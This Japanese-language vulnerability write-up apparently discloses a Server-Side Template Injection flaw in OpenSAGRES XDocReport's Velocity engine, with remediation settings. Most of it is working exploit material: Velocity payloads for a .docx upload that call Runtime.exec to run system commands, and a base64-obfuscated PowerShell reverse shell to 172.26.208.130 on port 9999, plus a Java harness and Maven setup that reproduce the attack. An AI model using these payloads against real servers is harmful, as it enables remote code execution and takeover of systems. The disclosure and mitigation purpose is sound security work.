
脆弱性の概要
Server-Side Template Injection(SSTI)は、CMSやWebフレームワークが使用するテンプレートに悪意のあるコードを注入し、リモートからの攻撃、機密情報の取得、またはシステムへの侵入活動を可能にするWebセキュリティ脆弱性です。
SSTIは、SQLインジェクションやXSSなどのインジェクション脆弱性の一種であり、攻撃者はテンプレートシステムを利用してリモートから悪意のあるコードを展開します。SSTI攻撃が成功すると、攻撃者はサーバー側で任意のコードを実行でき、機密情報の収集、不正なシステム操作、権限のないリソースへのアクセスなどが可能になります。
SSTI脆弱性は、安全でないテンプレートシステムの使用や、テンプレートにパラメータを挿入する前の入力値の検証・処理の欠如によって発生します。SSTI攻撃が成功した場合、その影響は深刻で、攻撃対象組織に大きな損害をもたらす可能性があります。
ビジネスへの影響
SSTI脆弱性は、以下のような深刻な結果を引き起こす可能性があります。
悪意のあるコードの実行: 攻撃者はこの脆弱性を利用してサーバー上で悪意のあるコードを実行し、データの窃取、システム上の不正行為、さらにはサーバーの完全な制御を可能にします。
機密情報の漏洩: SSTIにより、攻撃者はサーバー上のファイルを読み取り、変更、または削除できます。これらのファイルにアカウントやパスワードなどの機密情報が含まれている場合、攻撃者は容易に情報を漏洩させることができます。
ユーザーへの脅迫またはフィッシング攻撃: 攻撃者はSSTIを利用してWebページのコンテンツを改ざんしたり、偽のカスタムボタンを追加したりすることで、脅迫やフィッシング攻撃を仕掛けることができます。ユーザーがこれらのボタンをクリックすると、攻撃者はユーザー情報を盗んだり、端末にマルウェアをインストールしたりする可能性があります。

fr.opensagres.xdocreport.template.velocity
A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the velocity engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).
人事管理Webサイトでは、ユーザーが.docx形式のドキュメントファイルをシステムにアップロードできます。処理中、アプリケーションはvelocityテンプレートエンジンを使用してコンテンツをレンダリングしますが、入力内容の制御やフィルタリングの仕組みがありません。この脆弱性により、攻撃者は悪意のある式を.docxファイル(テンプレート)に挿入し、サーバー上でリモートコード実行(RCE)を引き起こすことができ、情報の窃取やシステムの乗っ取りに悪用される可能性があります。
fr.opensagres.xdocreport.template.velocity — XDocReport (versions =< 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.velocity/src/main/java/fr/opensagres/xdocreport/template/velocity/internal/VelocityTemplateEngine.java

velocityEngine.evaluate(...) は、Apache Velocity が Reader(または String)からテンプレートを評価(evaluate)し、Context を使用して Writer に出力するための標準メソッドです。これは Template.merge(...) と同様に VTL(Velocity Template Language)構文を実行します。
.docx ファイルをアップロードします。
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("cmd /c dir d:"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result



#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("calc"))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result


172.26.208.130 です。
#set($x="abc")
#set($str=$x.getClass().forName("java.lang.String"))
#set($cha=$x.getClass().forName("java.lang.Character"))
#set($r=$x.getClass().forName("java.lang.Runtime").getRuntime().exec("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="))
$r.waitFor()
#set($out=$r.getInputStream())
#set($result="")
#foreach($i in [1..$out.available()])
#set($result = $result + $str.valueOf($cha.toChars($out.read())))
#end
$result

.docx ファイルを xdocreport に渡して処理させます。

velocityEngineProperties.setProperty(
"runtime.introspector.uberspect",
"org.apache.velocity.util.introspection.SecureUberspector"
);
Apache Velocity の SecureUberspector クラスはサンドボックスイントロスペクターです。 SecureUberspector は以下をブロックします。
velocityEngineProperties.setProperty(
"introspector.restrict.classes",
"java.lang.Class,
java.lang.ClassLoader,
java.lang.Process,
java.lang.Runtime,
java.lang.System,
java.lang.Thread"
);
velocityEngineProperties.setProperty(
"introspector.restrict.packages",
"java.lang.reflect"
);
ブロック対象:
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Velocity式を含む入力ファイルを読み込む
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // 入力ファイル
InputStream input = new FileInputStream(docxTemplate);
// Velocityを使用してテンプレートをロード
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// コンテキストを作成(独立した式のテストの場合は空でも可)
IContext context = report.createContext();
// 新しいファイルに出力
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ result.docx ファイルを正常に作成しました。");
} catch (Exception e) {
System.err.println("❌ ファイル処理エラー:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>













